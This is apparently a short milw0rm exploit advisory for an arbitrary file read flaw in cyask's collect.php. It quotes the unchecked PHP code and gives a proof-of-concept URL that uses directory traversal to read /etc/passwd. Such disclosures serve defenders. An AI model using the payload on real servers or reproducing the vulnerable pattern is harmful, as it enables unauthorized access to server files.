477bcbdcc0
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31 lines
919 B
Text
Executable file
31 lines
919 B
Text
Executable file
This vulnerability leads to that the attacker can read any file on your webserver when it installs cyask.
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The $neturl variable in collect.php is short of enough check. When the attacker registers a new user, he can pass
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the user check and then submit any filename to $neturl so that collect.php can read it.
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The vuln code like this:
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$url=get_referer();
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$neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);
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$collect_url=empty($neturl) ? $url : $neturl;
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$contents = '';
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if($fid=@fopen($collect_url,"r"))
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{
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do
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{
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$data = fread($fid, 4096);
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if (strlen($data) == 0)
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{
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break;
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}
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$contents .= $data;
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}
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while(true);
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fclose($fid);
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}
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POC:
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http://XXX.com/collect.php?neturl=../../../etc/passwd
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# milw0rm.com [2008-09-18]
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